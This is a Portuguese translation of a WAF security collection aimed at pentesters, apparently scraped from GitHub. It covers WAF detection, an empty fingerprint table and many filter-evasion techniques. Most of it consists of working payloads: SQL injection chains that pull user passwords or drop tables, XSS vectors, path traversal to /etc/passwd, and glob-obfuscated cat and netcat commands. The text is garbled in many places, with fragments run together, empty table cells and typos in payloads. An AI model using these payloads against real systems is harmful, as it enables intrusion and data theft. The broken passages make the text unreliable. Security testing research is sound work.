
Tudo sobre Web Application Firewalls (WAFs) do ponto de vista da Segurança! 🔥
Tudo sobre firewalls de aplicações web (WAFs) do ponto de vista da segurança. 🔥
Prefácio: Originalmente esta era minha própria coleção sobre WAFs. Estou a tornando open-source na esperança de que seja útil para pentesters e pesquisadores por aí. Como diz o ditado, "a comunidade apenas aprende uns com os outros."

Uma Definição Concisa: Um firewall é um ponto de aplicação de política de segurança posicionado entre uma aplicação web e o endpoint do cliente. Esta funcionalidade pode ser implementada em software ou hardware, executando em um dispositivo appliance, ou em um servidor típico executando um sistema operacional comum. Pode ser um dispositivo independente ou integrado a outros componentes de rede. (Fonte: PCI DSS IS 6.6)
Um firewall de aplicação web fica entre um usuário e uma webapp e tem a tarefa de impedir que qualquer atividade maliciosa atinja a webapp. Um WAF filtra a parte maliciosa da requisição ou simplesmente a bloqueia.
Sinta-se à vontade para contribuir.
<script>*</script> previne ataques básicos de cross-site scripting.80, 443, 8000, 8080 e 8888. No entanto, é importante notar que um WAF pode ser facilmente implantado em qualquer porta que execute um serviço HTTP. É bom enumerar primeiro as portas do serviço HTTP e depois procurar por WAFs.Server (ex.: Approach, WTS WAF).Para identificar WAFs, precisamos (ficticiamente) provocá-lo.
\" or 1 = 1 --.<script>alert()</script> em barras de pesquisa, formulários de contato e outros campos de entrada.../../../etc/passwd fictício a um parâmetro aleatório no final da URL.' OR SLEEP(5) OR ' no final das URLs a qualquer parâmetro aleatório.HTTP/0.9 (HTTP/0.9 não suporta consultas do tipo POST).Server dependendo de diferentes tipos de interações.Dica: Este método pode ser facilmente alcançado com ferramentas como HPing3 ou Scapy.
Quer fazer fingerprint de WAFs? Vamos ver como.
NOTA: Esta seção contém técnicas manuais de detecção de WAF. Talvez você queira ir para a próxima seção.
## Técnicas de Evasão Vamos analisar alguns métodos de contornar e evadir WAFs.
Dica: Mais detalhes podem ser encontrados em um post de blog aqui.
| WAF | Impressões Digitais |
| 360 |
|
| aeSecure |
|
| Airlock |
|
| AlertLogic |
|
| Aliyundun |
|
| Anquanbao |
|
| Anyu |
|
| Approach |
|
| Armor Defense |
|
| ArvanCloud |
|
| ASPA |
|
| ASP.NET Generic |
|
| Astra |
|
| AWS ELB |
|
| Baidu Yunjiasu |
|
| Barikode |
|
| Barracuda |
|
| Bekchy |
|
| BinarySec |
|
| BitNinja |
|
| BIG-IP ASM |
|
| BlockDos |
|
| Bluedon IST |
|
| BulletProof Security Pro |
|
| CDN NS Application Gateway |
|
| Cerber (WordPress) |
|
| Chaitin Safeline |
|
| ChinaCache |
|
| Cisco ACE XML Gateway |
|
| Cloudbric |
|
| Cloudflare |
|
| CloudfloorDNS |
|
| Cloudfront |
|
| Comodo cWatch |
|
| CrawlProtect |
|
| Deny-All |
|
| Distil Web Protection |
|
| DoSArrest Internet Security |
|
| DotDefender |
|
| DynamicWeb Injection Check |
|
| e3Learning Security |
|
| EdgeCast (Verizon) |
|
| Eisoo Cloud |
|
| Expression Engine |
|
| F5 ASM |
|
| FortiWeb |
|
| GoDaddy |
|
| GreyWizard |
|
| Huawei Cloud |
|
| HyperGuard |
|
| IBM DataPower |
|
| Imperva Incapsula |
|
| Imunify360 |
|
| IndusGuard |
|
| Instart DX |
|
| ISA Server |
|
| Janusec Application Gateway |
|
| Jiasule |
|
| KeyCDN |
|
| KnownSec |
|
| KONA Site Defender (Akamai) |
|
| LiteSpeed |
|
| Malcare |
|
| MissionControl Application Shield |
|
| ModSecurity |
|
| ModSecurity CRS |
|
| NAXSI |
|
| Nemesida |
|
| Netcontinuum |
|
| NetScaler AppFirewall |
|
| NevisProxy |
|
| NewDefend |
|
| Nexusguard |
|
| NinjaFirewall |
|
| NSFocus |
|
| NullDDoS |
|
| onMessage Shield |
|
| OpenResty Lua WAF |
|
| Palo Alto |
|
| PentaWAF |
|
| PerimeterX |
|
| pkSecurityModule IDS |
|
| Positive Technologies Application Firewall |
|
| PowerCDN |
|
| Profense |
|
| Proventia (IBM) |
|
| Puhui |
|
| Qiniu CDN |
|
| Radware Appwall |
|
| Reblaze |
|
| Request Validation Mode |
|
| RSFirewall |
|
| Sabre |
|
| Safe3 |
|
| SafeDog |
|
| SecKing |
|
| SecuPress |
|
| Secure Entry |
|
| SecureIIS |
|
| SecureSphere |
|
| SEnginx |
|
| ServerDefender VP |
|
| Shadow Daemon |
|
| ShieldSecurity |
|
| SiteGround |
|
| SiteGuard (JP Secure) |
|
| SiteLock TrueShield |
|
| SonicWall |
|
| Sophos UTM |
|
| SquareSpace |
|
| SquidProxy IDS |
|
| StackPath |
|
| Stingray |
|
| Sucuri CloudProxy |
|
| Synology Cloud |
|
| Tencent Cloud |
|
| Teros |
|
| TrafficShield |
|
| TransIP |
|
| UCloud UEWaf |
|
| URLMaster SecurityCheck |
|
| URLScan |
|
| USP Secure Entry |
|
| Varnish (OWASP) |
|
| Varnish CacheWall |
|
| Viettel |
|
| VirusDie |
|
| WallArm |
|
| WatchGuard IPS |
|
| WebARX Security |
|
| WebKnight |
|
| WebLand |
|
| WebRay |
|
| WebSEAL |
|
| WebTotem |
|
| West263CDN |
|
| Wordfence |
|
| WTS-WAF |
|
| XLabs Security WAF |
|
| Xuanwudun WAF |
|
| Yunaq Chuangyu |
|
| Yundun |
|
| Yunsuo |
|
| YxLink |
|
| ZenEdge |
|
| ZScaler |
|
Executar um conjunto de payloads contra a URL/endpoint. Algumas boas wordlists para fuzzing:
Caso: SQL Injection
Palavras-Chave Filtradas: and, or, union
Regex Provável: preg_match('/(and|or|union)/i', $id)
union select user, password from users1 || (select user from users where user_id = 1) = 'admin'Palavras-Chave Filtradas: and, or, union, where
1 || (select user from users where user_id = 1) = 'admin'1 || (select user from users limit 1) = 'admin'Palavras-Chave Filtradas: and, or, union, where, limit
1 || (select user from users limit 1) = 'admin'1 || (select user from users group by user_id having user_id = 1) = 'admin'Palavras-Chave Filtradas: and, or, union, where, limit, group by
1 || (select user from users group by user_id having user_id = 1) = 'admin'1 || (select substr(group_concat(user_id),1,1) user from users ) = 1Palavras-Chave Filtradas: and, or, union, where, limit, group by, select
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || 1 = 1 into outfile 'result.txt'1 || substr(user,1,1) = 'a'Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, '
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || user_id is not null1 || substr(user,1,1) = 0x611 || substr(user,1,1) = unhex(61)Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, ', hex
1 || substr(user,1,1) = unhex(61)1 || substr(user,1,1) = lower(conv(11,10,36))Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, ', hex, substr
1 || substr(user,1,1) = lower(conv(11,10,36))1 || lpad(user,7,1)Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, ', hex, substr, espaço em branco
1 || lpad(user,7,1)1%0b||%0blpad(user,7,1)1. Alternância de Maiúsculas/Minúsculas
Padrão: <script>alert()</script>
Contornado: <ScRipT>alert()</sCRipT>
Padrão: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Contornado: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
2. Codificação URL
Bloqueado: <svG/x=">"/oNloaD=confirm()//
Contornado: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Bloqueado: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Contornado: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3. Normalização Unicode
Padrão: <marquee onstart=prompt()>
Ofuscado: <marquee onstart=\u0070r\u06f\u006dpt()>
Bloqueado: /?redir=http://google.com
Contornado: /?redir=http://google。com (Alternativa Unicode)
Bloqueado: <marquee loop=1 onfinish=alert()>x
Contornado: <marquee loop=1 onfinish=alert︵1)>x (Alternativa Unicode)
Padrão: ../../etc/passwd
Ofuscado: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
4. Representação HTML
Padrão: ">
Codificado: "><img src=x onerror=confirm()> (Forma geral)
Codificado: "><img src=x onerror=confirm()> (Referência numérica)
5. Codificação Mista
Ofuscado:``` XSS
__6. Usando Comentários__
- Comentários ofuscam vetores de payload padrão.
- Diferentes payloads têm diferentes formas de ofuscação.
__Bloqueado__: `<script>alert()</script>`
__Contornado__: `<!--><script>alert/**/()/**/</script>`
__Bloqueado__: `/?id=1+union+select+1,2,3--`
__Contornado__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`
__7. Dupla Codificação__
- Frequentemente, filtros WAF tendem a codificar caracteres para prevenir ataques.
- No entanto, filtros mal desenvolvidos (sem filtros recursivos) podem ser contornados com dupla codificação.
__Padrão__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`
__Ofuscado__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`
__Padrão__: `<script>alert()</script>`
__Ofuscado__: `%253Cscript%253Ealert()%253C%252Fscript%253E`
__8. Ofuscação por Curinga__
- Padrões de globbing são usados por vários utilitários de linha de comando para trabalhar com múltiplos arquivos.
- Podemos ajustá-los para executar comandos do sistema.
- Específico para vulnerabilidades de execução remota de código em sistemas Linux.
__Padrão__: `/bin/cat /etc/passwd`
__Ofuscado__: `/???/??t /???/??ss??`
Caracteres usados: `/ ? t s`
__Padrão__: `/bin/nc 127.0.0.1 1337`
__Ofuscado__: `/???/n? 2130706433 1337`
Caracteres usados: `/ ? n [0-9]`
__9. Geração Dinâmica de Payloads__
- Diferentes linguagens de programação têm diferentes sintaxes e padrões para concatenação.
- Isso nos permite gerar efetivamente payloads que podem contornar muitos filtros e regras.
__Padrão__: `<script>alert()</script>`
__Ofuscado__: `<script>eval('al'+'er'+'t()')</script>`
__Padrão__: `/bin/cat /etc/passwd`
__Ofuscado__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash permite concatenação de caminhos para execução.
__Padrão__: ``
__Ofuscado__:```
13. Quebradores de Token
Ataques a tokenizers tentam quebrar a lógica de dividir uma requisição em tokens com a ajuda de quebradores de token.
Quebradores de token são símbolos que permitem afetar a correspondência entre um elemento de uma string e um certo token, e assim contornar a busca por assinatura.
No entanto, a requisição ainda deve permanecer válida ao usar quebradores de token.
Caso: Token Desconhecido para o Tokenizer
?id=‘-sqlite_version() UNION SELECT password FROM users --Caso: Contexto Desconhecido para o Parser (Observe o colchete sem contexto)
?id=123);DROP TABLE users --?id=1337) INTO OUTFILE ‘xxx’ --DICA: Mais payloads podem ser criados através desta folha de dicas.
14. Ofuscação em Outros Formatos
Caso: IIS
Requisição Original:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41
id2='union all select * from users--
Requisição Ofuscada + Codificação de URL:```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
A tabela a seguir mostra o suporte de diferentes codificações de caracteres nos sistemas testados (quando as mensagens podem ser ofuscadas usando-as):
DICA: Você pode usar este pequeno script em Python para converter seus payloads e parâmetros para as codificações desejadas.
| Alvo | Codificações | Notas |
| Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 |
|
| Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 |
|
| Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| Apache-TOMCAT7-JVM1.6-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| IIS6, 7.5, 8, 10 -ASPX (v4.x) | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 |
Abaixo está uma comparação de diferentes servidores e suas interpretações relativas:
| Ambiente | Interpretação do Parâmetro | Exemplo |
| ASP/IIS | Concatenação por vírgula | par1=val1,val2 |
| JSP, Servlet/Apache Tomcat | Primeiro parâmetro é o resultante | par1=val1 |
| ASP.NET/IIS | Concatenação por vírgula | par1=val1,val2 |
| PHP/Zeus | Último parâmetro é o resultante | par1=val2 |
| PHP/Apache | Último parâmetro é o resultante | par1=val2 |
| JSP, Servlet/Jetty | Primeiro parâmetro é o resultante | par1=val1 |
| IBM Lotus Domino | Primeiro parâmetro é o resultante | par1=val1 |
| IBM HTTP Server | Último parâmetro é o resultante | par1=val2 |
| mod_perl, libapeq2/Apache | Primeiro parâmetro é o resultante | par1=val1 |
| Oracle Application Server 10G | Primeiro parâmetro é o resultante | par1=val1 |
| Perl CGI/Apache | Primeiro parâmetro é o resultante | par1=val1 |
| Python/Zope | Primeiro parâmetro é o resultante | par1=val1 |
| IceWarp | Um array é retornado | ['val1','val2'] |
| AXIS 2400 | Último parâmetro é o resultante | par1=val2 |
| DBMan | Concatenação por dois tils | par1=val1~~val2 |
| mod-wsgi (Python)/Apache |
Exemplo de Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Exemplo de URL de Consulta: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
DICA: Um exemplo da vida real de como os bypasses podem ser elaborados usando este método pode ser encontrado aqui.
Exemplo de requisição:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept-Charset:utf-32; q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Quando o site carrega, ele será codificado para a codificação UTF-32 que definimos, e então, como a codificação de saída da página é UTF-8, será renderizado como: "<script>alert (1) </ script> que acionará XSS.
Payload final codificado para URL:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
#### Bytes Nulos:
- Os bytes nulos são comumente usados como terminadores de string.
- Isso pode nos ajudar a evadir muitos filtros de aplicações web caso eles não estejam filtrando os bytes nulos.
Exemplos de payloads:```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
Padrão: <a href="javascript:alert()">
Ofuscado: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>
%, //, !, ?, etc.Exemplos:
<// style=x:expression\28write(1)\29> - Funciona até IE7 (Fonte)<!--[if]><script>alert(1)</script --> - Funciona até IE9 (Referência)<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Funciona no IE7 (Referência)<%div%20style=xss:expression(prompt(1))> - Funciona até IE70x00 a 0xFF e obter o conjunto de separadores para cada navegador.Aqui está uma lista compilada de separadores por @Masato Kinugawa:
0x09, 0x0B, 0x0C, 0x20, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B0x09, 0x20, 0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3BUm exemplo de payload exótico:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
### Usando Estruturas Sintáticas Equivalentes Atípicas
- Este método visa encontrar uma forma de exploração não considerada pelos desenvolvedores do WAF.
- Alguns casos de uso podem ser torcidos a níveis críticos onde o WAF não consegue detectar os payloads de forma alguma.
- Este payload é aceito e executado pelo servidor após passar pelo firewall.
Algumas palavras-chave comuns ignoradas pelos desenvolvedores do WAF:
- Funções JavaScript:
- `window`
- `parent`
- `this`
- `self`
- Atributos de tag:
- `onwheel`
- `ontoggle`
- `onfilterchange`
- `onbeforescriptexecute`
- `ondragstart`
- `onauxclick`
- `onpointerover`
- `srcdoc`
- Operadores SQL
- `lpad`
- `field`
- `bit_count`
Exemplo de Payloads:
- __Caso:__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/master/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/master/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/master/2)</script>
Muitas alternativas ao JavaScript original podem ser usadas, nomeadamente:
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
> No entanto, o problema em usar as estruturas sintáticas acima é o tamanho dos payloads, que podem ser detectados pelo WAF ou podem ser bloqueados pelo CSP. No entanto, nunca se sabe, eles podem contornar o CSP (se presente) também. ;)
### Abusando de Cifras SSL/TLS:
- Muitas vezes, os servidores aceitam conexões de várias cifras e versões SSL/TLS.
- Usar uma cifra para inicializar uma conexão com o servidor que não é suportada pelo WAF pode fazer o nosso trabalho.
#### Técnica:
- Descubra as cifras suportadas pelo firewall (geralmente a documentação do fornecedor do WAF discute isso).
- Descubra as cifras suportadas pelo servidor (ferramentas como o [SSLScan](https://github.com/rbsec/sslscan) ajudam aqui).
- Se uma cifra específica não suportada pelo WAF, mas suportada pelo servidor, for encontrada, voilà!
- Iniciar uma nova conexão com o servidor usando essa cifra específica deve contrabandear nosso payload.
> __Ferramenta__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)```
python abuse-ssl-bypass-waf.py -thread 4 -target <target>
Ferramentas de CLI como o cURL podem ser muito úteis para PoCs:``` curl --ciphers -G -d
### Abuso do limite do WAF em respostas HTTP
#### Método
- Muitas vezes, os WAFs têm um limite sobre _quanto_ da requisição HTTP eles devem processar.
- Ao enviar uma requisição HTTP com um tamanho __maior que o limite__, podemos evadir completamente os WAFs.
#### Técnica
- Use uma abordagem de tentativa e erro para descobrir quanto da requisição HTTP está sendo inspecionado pelo WAF (geralmente em múltiplos de 4 kB).
- Feito isso, anexe seu payload à requisição após preencher o limite com lixo.
> Uma técnica semelhante foi usada para [contornar o WAF do Google Cloud Platform](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf).
### Abusando do histórico de DNS:
- Frequentemente, registros históricos antigos de DNS fornecem informações sobre a localização do site por trás do WAF.
- O objetivo é obter a localização do site, para que possamos rotear nossas requisições diretamente para o site e não através do WAF.
> __DICA:__ Alguns serviços online como [IP History](http://www.iphistory.ch/en/) e [DNS Trails](https://securitytrails.com/dns-trails) vêm ao resgate durante o processo de reconhecimento.
__Ferramenta__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)```
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
*-sync-request ou um valor de token compartilhado é usado como segredo.Agora, ao fazer uma requisição ao servidor, você pode anexá-lo como um parâmetro:```
---
[Read more](https://github.com/0xinfection/awesome-waf)
|
| Um array é retornado |
| ARRAY(0x8b9058c) |